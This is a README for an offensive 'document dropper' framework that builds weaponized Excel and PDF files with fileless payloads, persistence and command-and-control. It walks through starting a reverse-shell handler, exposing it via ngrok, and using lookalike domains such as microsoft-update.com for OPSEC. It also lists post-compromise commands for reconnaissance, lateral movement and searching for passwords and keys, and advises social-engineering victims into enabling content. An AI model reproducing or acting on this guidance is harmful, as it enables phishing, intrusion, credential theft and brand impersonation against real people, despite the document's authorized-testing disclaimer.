By: ek0ms savi0r
A sophisticated penetration testing framework for authorized security research only.
Project Nightshade is an advanced Document dropper system with integrated Command & Control (C2) capabilities. It creates weaponized Excel and PDF files that deploy in-memory, fileless payloads with multiple persistence mechanisms and encrypted communications.
❤ FOR AUTHORIZED TESTING ONLY ❤
git clone https://github.com/ekomsSavior/project_nightshade.git
cd project_nightshade
sudo apt update
pip3 install pycryptodome requests flask --break-system-packages
wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz
tar -xzf ngrok-v3-stable-linux-amd64.tgz
sudo mv ngrok /usr/local/bin/
ngrok config add-authtoken YOUR_AUTHTOKEN_HERE
Start C2 Server:
bash
python3 nightshade_staging.py
# Server starts on port 8080, reverse shell handler on port 4444
Generate Dropper in seperate terminal:
bash
python3 nightshade_dropper.py
1 (Reverse Shell)Choose delivery: 1 (Ngrok tunneling)
The tool AUTOMATICALLY:
Generates your malicious document
Deliver the document and wait for connections!
Start C2 Server:
bash
python3 nightshade_staging.py
Start Ngrok HTTP Tunnel:
bash
ngrok http 8080
Generate Dropper:
bash
python3 nightshade_dropper.py
2 (RCE) or 3 (Full C2)Choose delivery: 1 (Ngrok tunneling)
The tool AUTOMATICALLY detects your ngrok URL and configures the payload!
The staging server runs on two ports:
- HTTP Server: Port 8080 (for templates and C2 communications)
- Reverse Shell Handler: Port 4444 (for direct shell connections)
# The tool handles this AUTOMATICALLY!
# It will:
# 1. Start ngrok tcp 4444
# 2. Extract the public address (e.g., 1.tcp.ngrok.io:12345)
# 3. Configure the payload with this address
# Manual option (or let the tool detect it)
ngrok http 8080
# The tool will automatically detect your ngrok URL
# and use it in the payload configuration
Payload Type: 1 (Reverse Shell)
Delivery Method: 1 (Ngrok tunneling)
Payload Type: 2 (RCE + Persistence)
Delivery Method: 1 (Ngrok tunneling)
# Tool automatically detects your HTTP ngrok URL
Payload Type: 2 (RCE + Persistence)
Delivery Method: 3 (Custom domain)
Custom Domain: your-c2-domain.com
Ngrok Domain (Automatic, Temporary):
- https://abc123-def4-567.ngrok-free.app (HTTP tunnel)
- 1.tcp.ngrok.io:12345 (TCP tunnel)
- Provided by ngrok, random, changes every time
- Use Delivery Method: 1 (Ngrok tunneling)
Custom Domain (Your Own, Permanent):
- https://assets.microsoft-update.com (your owned domain)
- c2.yourcompany.com (your subdomain)
- You own this domain, it doesn't change
- Use Delivery Method: 3 (Custom domain)
Use Ngrok (Option 1) when:
- Quick testing
- No budget for domains
- Temporary operations
- Don't care about reputation
Use Custom Domain (Option 3) when:
- Long-term operations
- OPSEC matters (using legit-looking domains)
- You own trustworthy domains
- Budget for domain registration
microsoft-update.com (looks legit)Payload Type: 2 (RCE)
Delivery Method: 3 (Custom domain)
Custom Domain: microsoft-update.comThe payload will then use https://microsoft-update.com/template.ole instead of ngrok URLs.
The payload numbering is:
1 = Reverse Shell (raw TCP)
2 = RCE + Persistence (HTTP C2)
3 = Full C2 Agent (advanced HTTP C2)
# Connections appear automatically in the C2 server console
[+] Reverse shell connection from 192.168.1.100:51542
# Check active sessions
curl http://localhost:8080/c2/sessions
# View server statistics
curl http://localhost:8080/admin/stats
# System reconnaissance
whoami
systeminfo
ipconfig /all
# Lateral movement
net view
net user /domain
# Data collection
dir C:\Users\ /s | findstr "password|secret|key"
Ngrok Best Practices:
# Region selection for better performance
ngrok http 8080 --region eu
# Custom subdomains (plus plan required)
ngrok http 8080 --subdomain your-custom-name
# Available regions: us, eu, au, ap, sa, jp, in
Domain Rotation:
- Built-in domain rotation for template delivery
- Uses legitimate-looking Microsoft/Adobe domains
- Automatically cycles for operational security
** Reverse shell not connecting:**
- Ensure you're using the latest version with ngrok TCP support
- The tool now handles this automatically - no manual configuration needed
** Ngrok tunnel not detected:**
- Make sure ngrok is authenticated: ngrok config add-authtoken YOUR_TOKEN
- Check if ngrok is running: pgrep ngrok
** "Enable Content" not clicked:**
- Use PDF format for auto-execution
- Social engineering: make document look legitimate
** Quick Fix Checklist:**
1. Update to latest version
2. Use payload option 1 for easiest setup
3. Let the tool handle ngrok automatically
4. Start with Excel documents (higher success rate)
Enable verbose logging by checking the C2 server console for detailed connection information and errors.
FOR AUTHORIZED SECURITY RESEARCH ONLY
This tool is intended for:
- Penetration testing with explicit permission
- Security research in controlled, owned and legal environments
- Educational purposes in ethical hacking courses
the dev of this tool assumes no liability and is not responsible for any misuse or damage caused by this program.
Lab Cleaner is a defensive utility for Linux that helps you remove persistence and processes left behind when testing your own malware, droppers, or payloads on a lab system.
https://github.com/ekomsSavior/lab_cleaner
ek0ms savi0r
// click a file to view source